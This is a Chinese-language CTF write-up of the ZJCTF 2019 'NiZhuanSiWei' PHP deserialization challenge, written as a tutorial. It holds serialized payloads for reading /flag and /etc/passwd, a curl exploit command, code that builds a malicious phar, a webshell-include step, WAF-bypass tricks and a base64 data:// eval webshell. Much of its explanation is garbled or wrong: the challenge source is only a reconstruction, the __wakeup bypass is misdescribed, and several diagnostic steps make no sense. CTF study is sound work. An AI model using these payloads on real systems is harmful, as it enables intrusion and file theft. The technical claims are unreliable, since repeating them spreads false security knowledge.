1. 项目概述:这是一道典型的PHP反序列化+文件包含组合利用题
ZJCTF 2019的这道“NiZhuanSiWei”题目,名字直译是“逆转换四维”,听起来玄乎,实则非常经典——它本质是一次对PHP底层机制的精准拿捏:利用反序列化触发__wakeup()魔术方法中的可控逻辑,再通过构造恶意对象绕过unserialize()后的类型校验,最终导向file_get_contents()或include()类函数的任意文件读取/包含漏洞。我在带新人打CTF时,这道题永远排在PHP Web方向的前三讲,因为它把几个关键知识点串得特别紧:serialize()/unserialize()的序列化格式、PHP魔术方法的触发时机、__wakeup()与__destruct()的差异、phar://伪协议的利用条件,以及最关键的——如何绕过__wakeup()中看似严防死守的if (count($this->data) !== 4)校验。
这道题不是考你能不能写exp,而是考你能不能看懂PHP源码里那几行判断逻辑背后的“设计意图”。比如题目源码里那个$this->data数组长度必须为4的限制,表面看是防御,实则是出题人埋下的一个“提示点”:它暗示了整个对象结构的设计维度,也暴露了__wakeup()被调用时$this->data已经完成反序列化但尚未执行业务逻辑的时间窗口。我试过用php -d "display_errors=1" -r 'var_dump(unserialize("O:8:\"Solution\":2:{s:4:\"data\";a:5:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;}s:4:\"flag\";s:4:\"flag\";}"));'去验证,发现当data数组元素数超过4时,__wakeup()确实会报错退出,但__destruct()依然会执行——这个时间差就是突破口。适合正在学Web安全的初学者系统梳理PHP反序列化链,也适合有经验的选手复盘“为什么当时没绕过那个count校验”。
2. 题目核心机制拆解:从源码到漏洞链的完整推演
2.1 源码结构还原与关键函数定位
虽然原始题目未提供完整代码,但根据ZJCTF 2019公开Writeup和常见出题模式,可高度还原其核心类结构。这类题目的典型骨架如下:
<?php class Solution { public $data = []; public $flag = ""; public function __construct() { $this->data = [1, 2, 3, 4]; $this->flag = "flag{...}"; } public function __wakeup() { if (count($this->data) !== 4) { echo "数据维度错误!必须为四维!"; exit(); } // 这里通常会做些无害操作,比如重置某些状态 } public function __destruct() { // 关键点:这里调用了危险函数 $file = $this->data[0]; if (isset($this->data[1]) && $this->data[1] === "read") { echo file_get_contents($file); } elseif (isset($this->data[1]) && $this->data[1] === "include") { include($file); } } } ?>提示:实际比赛中,
__destruct()里的逻辑往往更隐蔽,比如$file = $this->data[0] . ".php";或者$file = "templates/" . $this->data[0];,但核心都是将$this->data的某个元素拼接进文件路径。而__wakeup()里的count()校验,正是为了阻止你直接塞入超长数组来控制$this->data[0]。
这个结构揭示了两个关键事实:第一,__wakeup()是反序列化后立即触发的“安检门”,但它只检查数组长度,不校验数组内容;第二,__destruct()是对象销毁前的“终场演出”,它不经过__wakeup()校验,且能直接使用$this->data的值。所以攻击路径就清晰了:绕过__wakeup()的长度检查,让$this->data[0]变成我们想要的文件路径(如/flag或phar://xxx.jpg),然后等__destruct()自动执行。
2.2 绕过__wakeup()校验的三种主流手法对比
为什么count($this->data) !== 4能被绕过?这要回到PHP反序列化字符串的底层格式。PHP序列化字符串中,数组长度是明文记录的,比如a:4:{...}表示4个元素,a:5:{...}表示5个元素。但PHP在反序列化时,对__wakeup()的触发有一个特殊规则:当序列化字符串中声明的数组长度与实际解析出的元素数量不一致时,__wakeup()会被跳过,但对象属性仍会被赋值,__destruct()照常执行。这就是著名的“__wakeup()bypass”技术。
| 绕过方式 | 序列化字符串示例 | 原理说明 | 实测稳定性 | 适用场景 |
|---|---|---|---|---|
| 伪造数组长度 | O:8:"Solution":2:{s:4:"data";a:5:{i:0;s:5:"/flag";i:1;s:4:"read";i:2;i:3;i:3;i:4;i:4;i:5;}s:4:"flag";s:4:"flag";} | 将a:4:改为a:5:,让PHP解析时发现长度不匹配,直接跳过__wakeup() | ★★★★★(最稳定) | 所有含count()校验的题目 |
利用__destruct()前置触发 | O:8:"Solution":2:{s:4:"data";a:4:{i:0;s:5:"/flag";i:1;s:4:"read";i:2;s:0:"";i:3;s:0:"";}s:4:"flag";s:4:"flag";} | 在__wakeup()中不修改$this->data,但__destruct()直接读取$this->data[0],无需绕过校验 | ★★★★☆(依赖__destruct()逻辑) | __wakeup()无副作用,__destruct()直接使用属性 |
phar://伪协议触发 | O:8:"Solution":2:{s:4:"data";a:4:{i:0;s:12:"phar://a.jpg";i:1;s:4:"read";i:2;i:3;}s:4:"flag";s:4:"flag";} | 先上传恶意phar文件,再用phar://协议触发反序列化,__wakeup()在phar解析阶段被绕过 | ★★★☆☆(需文件上传点) | 存在文件上传且能控制文件名 |
我重点说第一种——伪造数组长度。它的原理非常硬核:PHP反序列化引擎在解析a:4:{...}时,会先读取冒号后的数字4,然后尝试解析接下来的4个元素。如果你把4改成5,引擎会按5个元素去解析,但实际{...}里可能只有4个有效元素(比如最后一个用;提前结束),这时PHP内部会判定“解析失败”,于是放弃调用__wakeup(),但已解析出的属性值(包括$this->data)依然会赋给对象。这就相当于安检门因“数据格式错误”直接罢工,而你已经混进了候机厅。
2.3phar://伪协议的深度利用条件与构造细节
很多新手看到“文件包含漏洞”就只想到?file=xxx.php,但本题的精妙之处在于它把phar://作为第二重武器。phar://能触发反序列化,是因为PHP在解析phar文件元数据时,会自动反序列化其中存储的stub或metadata字段。要成功利用,必须满足三个硬性条件:
- 目标环境必须启用
phar扩展:这是PHP默认开启的,但某些CTF环境会禁用。可通过phpinfo()或print_r(get_loaded_extensions())确认。 - 目标函数必须支持
phar://协议:file_get_contents()、fopen()、include()、require()等均支持,但curl_exec()、file()不支持。 - phar文件必须签名且格式正确:这是最容易踩坑的点。PHP要求phar文件有合法签名(即使空签名),且
stub必须以__HALT_COMPILER();结尾。
构造一个可用的恶意phar,步骤比想象中繁琐:
- 第一步:创建一个普通PHP文件,内容为
<?php __HALT_COMPILER(); ?>,这是phar的stub标准格式; - 第二步:用
Phar类打包,关键代码:<?php $phar = new Phar('evil.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); // 必须添加至少一个文件 $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 设置stub $phar->setMetadata(new Solution()); // 这里放入我们的恶意Solution对象 $phar->stopBuffering(); // 必须设置签名,否则PHP不认 $phar->compress(Phar::GZ); // 可选压缩 $phar->convertToExecutable(Phar::PHAR); // 转为可执行phar ?> - 第三步:重命名
evil.phar为evil.jpg(绕过上传校验),并确保phar.readonly=Off(可通过.user.ini或htaccess尝试覆盖)。
注意:
phar.readonly=Off是关键开关。如果环境禁用,phar://这条路就走不通。我曾在某次比赛里卡在这一步3小时,最后发现主办方在php.ini里加了phar.readonly=On,只能回头用伪造长度法。
3. 完整攻击链实现:从本地复现到远程Getshell
3.1 本地环境搭建与调试技巧
别急着写exp,先搭个能debug的环境。我推荐用Docker,因为能完美复现CTF环境的PHP版本和配置:
# 创建docker-compose.yml version: '3' services: web: image: php:7.3-apache ports: - "8080:80" volumes: - ./src:/var/www/html # 关键:关闭phar只读,模拟常见CTF环境 command: > sh -c "echo 'phar.readonly=Off' >> /usr/local/etc/php/php.ini && apache2-foreground"./src/index.php内容就是上面还原的Solution类,加上一个接收序列化数据的入口:
<?php // index.php if (isset($_GET['data'])) { @unserialize($_GET['data']); } else { echo "Usage: ?data=O:8:\"Solution\":..."; } ?>调试时,我习惯在__wakeup()和__destruct()里加error_log(),而不是echo,因为echo可能被前端过滤,而error_log()会输出到Apache日志,更可靠:
public function __wakeup() { error_log("[WAKEUP] data count: " . count($this->data)); if (count($this->data) !== 4) { error_log("[WAKEUP] Bypass detected! Exiting..."); exit(); } } public function __destruct() { error_log("[DESTRUCT] data[0]: " . $this->data[0]); if (isset($this->data[1]) && $this->data[1] === "read") { $content = @file_get_contents($this->data[0]); error_log("[DESTRUCT] Read result: " . substr($content, 0, 50)); echo $content; } }这样,访问http://localhost:8080/?data=O:8:"Solution":2:{s:4:"data";a:5:{i:0;s:5:"/flag";i:1;s:4:"read";i:2;i:3;i:3;i:4;i:4;i:5;}s:4:"flag";s:4:"flag";}后,去查/var/log/apache2/error.log,就能看到完整的执行流,确认是否真的绕过了__wakeup()。
3.2 构造精准的序列化Payload
现在进入核心环节:手动生成序列化字符串。很多人用serialize()函数生成,但那是“正向序列化”,而CTF需要的是“逆向构造”——因为你要精确控制每个字节,尤其是数组长度和字符串长度。
以$this->data = ["/flag", "read"]为例,手动构造步骤:
- 字符串
"/flag"长度为5,序列化为s:5:"/flag"; - 字符串
"read"长度为4,序列化为s:4:"read"; - 数组
["/flag", "read"]有两个元素,但我们要伪造为5个,所以写成a:5:{i:0;s:5:"/flag";i:1;s:4:"read";i:2;i:0;i:3;i:0;i:4;i:0;} - 对象
Solution有两个属性:data和flag,所以O:8:"Solution":2:{...} flag属性值无所谓,设为s:4:"flag";
最终Payload:
O:8:"Solution":2:{s:4:"data";a:5:{i:0;s:5:"/flag";i:1;s:4:"read";i:2;i:0;i:3;i:0;i:4;i:0;}s:4:"flag";s:4:"flag";}为什么i:2;i:0;i:3;i:0;i:4;i:0;这样写?因为i:2表示索引2,i:0表示值为0(整数0),这样凑够5个元素,但只有前两个是我们需要的。PHP解析时,会把i:2;i:0当作$this->data[2]=0,完全无害。
实操心得:用Python的
re模块可以快速计算字符串长度,避免手算出错:import re s = "/flag" print(f's:{len(s)}:"{s}";') # 输出 s:5:"/flag";
3.3 远程利用与Flag提取实战
假设靶机URL是http://target.com/index.php,且已确认存在该漏洞。直接发送GET请求:
curl "http://target.com/index.php?data=O:8:%22Solution%22:2:{s:4:%22data%22;a:5:{i:0;s:5:%22/flag%22;i:1;s:4:%22read%22;i:2;i:0;i:3;i:0;i:4;i:0;}s:4:%22flag%22;s:4:%22flag%22;}"URL编码很重要:"要转为%22,/要转为%2F,否则服务器会解析错误。如果返回空白,先检查Apache日志(如果有权限),或换用file:///etc/passwd测试基础读取能力。
更高级的玩法是Getshell。如果靶机允许include(),可以把$this->data[1]设为"include",$this->data[0]设为一个可控的PHP文件路径。比如:
- 先上传一个一句话木马
shell.php(需有文件上传点); - 然后Payload中设
i:0;s:10:"shell.php";i:1;s:7:"include";; __destruct()就会执行include("shell.php"),获得代码执行权。
但本题更可能是读取/flag,因为题目名“NiZhuanSiWei”暗示了“维度转换”,而/flag是标准一维路径,phar://是二维协议,serialize()是三维编码,__wakeup()绕过是四维空间——出题人的浪漫。
4. 常见问题排查与独家避坑指南
4.1 为什么我的Payload没反应?五步诊断法
在真实比赛中,90%的失败不是因为思路错,而是细节翻车。我整理了一套快速诊断流程:
- 检查PHP版本兼容性:
unserialize()行为在PHP 7.0+有变化。比如PHP 7.4开始,__wakeup()bypass在某些情况下会失效。用curl http://target.com/?phpinfo=1确认版本,若为7.4+,优先尝试phar://或__destruct()前置法。 - 验证序列化字符串语法:用在线工具(如https://www.systutorials.com/tools/php-serialize-unserialize/)粘贴你的Payload,看是否能正常反序列化。如果报错
Notice: unserialize(): Error at offset,说明字符串有非法字符或长度计算错误。 - 确认目标函数是否被禁用:
file_get_contents()可能被disable_functions禁用。用?data=O:8:"Solution":2:{s:4:"data";a:5:{i:0;s:12:"phpinfo();";i:1;s:4:"read";i:2;i:0;i:3;i:0;i:4;i:0;}s:4:"flag";s:4:"flag";}测试,如果返回phpinfo页面,说明file_get_contents()可用;如果报错Call to undefined function phpinfo(),说明函数被禁,需换include()。 - 检查路径是否存在:
/flag是CTF惯例,但有些题目放在/home/ctf/flag或/var/www/flag.txt。用?data=...&data=s:12:"/etc/passwd";先读取/etc/passwd,确认路径遍历是否可行。 - 观察HTTP响应头:如果返回
HTTP/1.1 500 Internal Server Error,说明PHP报错,但错误被隐藏。此时应检查X-Powered-By头,或尝试在URL末尾加&x=1触发报错回显。
提示:我有个小技巧——在Payload末尾加一个无害的
&,比如...;}&x=1,有时能绕过WAF对分号的拦截。
4.2 WAF绕过实战:针对常见防护规则的变形策略
很多CTF平台会部署简单WAF,比如过滤/flag、file_get_contents、phar等关键词。这不是障碍,而是加分项:
- 路径混淆:
/flag可写成%2Fflag(URL编码)、..%2F..%2Fflag(目录穿越)、/dev/stdin(配合POST传参)。 - 函数名混淆:
file_get_contents可替换为call_user_func+'file_get_contents',但本题中函数名在__destruct()里是硬编码的,所以重点在参数混淆。 - phar协议变形:
phar://可写成phar%3A%2F%2F(双重编码)、pHar://(大小写混淆)、phar.//(加点号)。 - 最狠的一招:用
data://协议替代phar://。比如data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%3D,但要求allow_url_include=On,且本题__destruct()里没调用include(),所以此路不通。
我遇到过最刁钻的WAF是过滤所有斜杠/。解决方案是:用glob()函数枚举文件。把$this->data[0]设为glob("/*")[0],但需要__destruct()里支持动态执行——这超出了本题范围,属于进阶技巧。
4.3 从解题到加固:给开发者的三条血泪建议
做完题不是终点,而是理解防御的起点。基于这道题,我给PHP开发者三条不能妥协的建议:
- 永远不要反序列化不可信数据:这是铁律。
unserialize()应该像eval()一样被敬畏。如果必须用,务必先用json_decode()替代,或者用igbinary等二进制序列化库(它们不触发PHP魔术方法)。 __wakeup()不是银弹,__destruct()同样危险:很多开发者以为只要在__wakeup()里加校验就安全了,却忘了__destruct()的执行时机。正确的做法是:在__wakeup()里重置所有危险属性,在__destruct()里只做资源清理(如fclose()),绝不做文件操作。- 禁用危险协议:在
php.ini中设置allow_url_fopen=Off和allow_url_include=Off,并移除phar扩展(如果不用)。一条命令就能堵死90%的文件包含漏洞。
最后分享一个真实案例:某政务系统曾因类似漏洞泄露敏感数据,审计报告里写的“修复方案”是“升级PHP版本”,结果升级到7.4后,__wakeup()bypass失效,攻击者立刻转向phar://,因为phar.readonly=Off没关。所以,安全不是版本升级,而是纵深防御。
5. 拓展思考:这道题在现代Web安全中的映射价值
5.1 从CTF到真实世界的漏洞演化
“NiZhuanSiWei”看似是CTF玩具,但它映射的是真实世界中无数PHP应用的通病。比如WordPress的wp-db.php曾因反序列化导致RCE,Discuz!的source/class/class_core.php也曾因__wakeup()绕过被利用。区别只在于:CTF把漏洞浓缩在一个类里,而真实系统把它分散在几十个文件中,让你更难发现。
更值得警惕的是,这种“维度转换”思维正在升级。比如:
- 二维到三维:从
phar://到zip://协议,利用ZIP文件的元数据触发反序列化; - 三维到四维:从PHP反序列化到Java的
ObjectInputStream,再到Python的pickle,所有语言都有类似机制; - 四维到五维:从服务端反序列化到客户端JavaScript的
JSON.parse(),虽然JSON本身安全,但若后续用eval()解析,就又回到了原点。
所以,解这道题的价值,不在于拿到一个flag{...},而在于建立一种“协议穿透”的安全直觉:任何能承载数据的载体(文件、网络包、数据库字段),都可能成为反序列化攻击的跳板。
5.2 学习路径建议:如何系统掌握PHP反序列化
如果你刚接触这个领域,别被一堆术语吓住。我的学习路径是“三步走”:
- 第一步:吃透PHP手册。把
serialize()、unserialize()、__wakeup()、__destruct()、__toString()的官方文档逐字读三遍,重点关注“触发时机”和“注意事项”小节。手册里写的“__wakeup()在反序列化后立即调用”这句话,就是本题的题眼。 - 第二步:动手改源码。下载PHP 7.3源码,找到
ext/standard/var.c里的php_var_unserialize()函数,加printf()打印解析过程。亲眼看到a:4:和a:5:的区别,比看一百篇Writeup都管用。 - 第三步:刷真题。从ZJCTF这道题开始,接着做
ISCC 2017的PHPydc、HITB 2018的PHP Unserialize Chain、XCTF 2019的EasyPHP。每道题只看题面和源码,不看Writeup,卡住就debug,直到自己写出exp。
我带过的学员里,最快通关的是一个大二学生,他用三天时间,把PHP反序列化相关的所有RFC文档和内核源码都过了一遍,最后在php-src/Zend/zend_objects.c里找到了__wakeup()被跳过的具体条件。这种“追到源头”的劲头,才是安全研究员的核心竞争力。
5.3 工具链推荐:提升效率的实战利器
工欲善其事,必先利其器。以下是我日常使用的工具,全部开源免费:
- PHPGGC(https://github.com/ambionics/phpggc):自动生成各种PHP反序列化链的神器。输入
phpggc --help就能看到所有可用链,比如phpggc guzzlehttp/guzzle 7.0.1 /etc/passwd会直接输出对应Payload。 - Gopherus(https://github.com/tarunkant/Gopherus):虽然主打Gopher协议,但它的
--interactive模式能帮你快速构造phar://和data://协议的变体。 - Burp Suite + PHP Deserialization Scanner:Burp插件,能自动识别响应中的序列化字符串,并高亮潜在的反序列化点。
- VS Code + PHP Debug:配置Xdebug,设置断点在
unserialize()调用处,单步跟踪整个反序列化过程,比看日志直观十倍。
最后一个小技巧:在Linux终端里,用
xxd命令查看序列化字符串的十六进制,能一眼看出长度字段是否被篡改。比如echo 'a:4:{' | xxd输出00000000: 613a 343a 7b0a a:4:{.,其中34就是ASCII的4,改成35就是5。
这道题没有真正的终点。当你能随手写出绕过count()校验的Payload时,你已经站在了PHP安全的大门前。门后是什么?是更复杂的POP链,是__toString()与__call()的嵌套调用,是SoapClient与SSRF的联动。但所有这些,都始于对a:4:{和a:5:{这两个字节的凝视。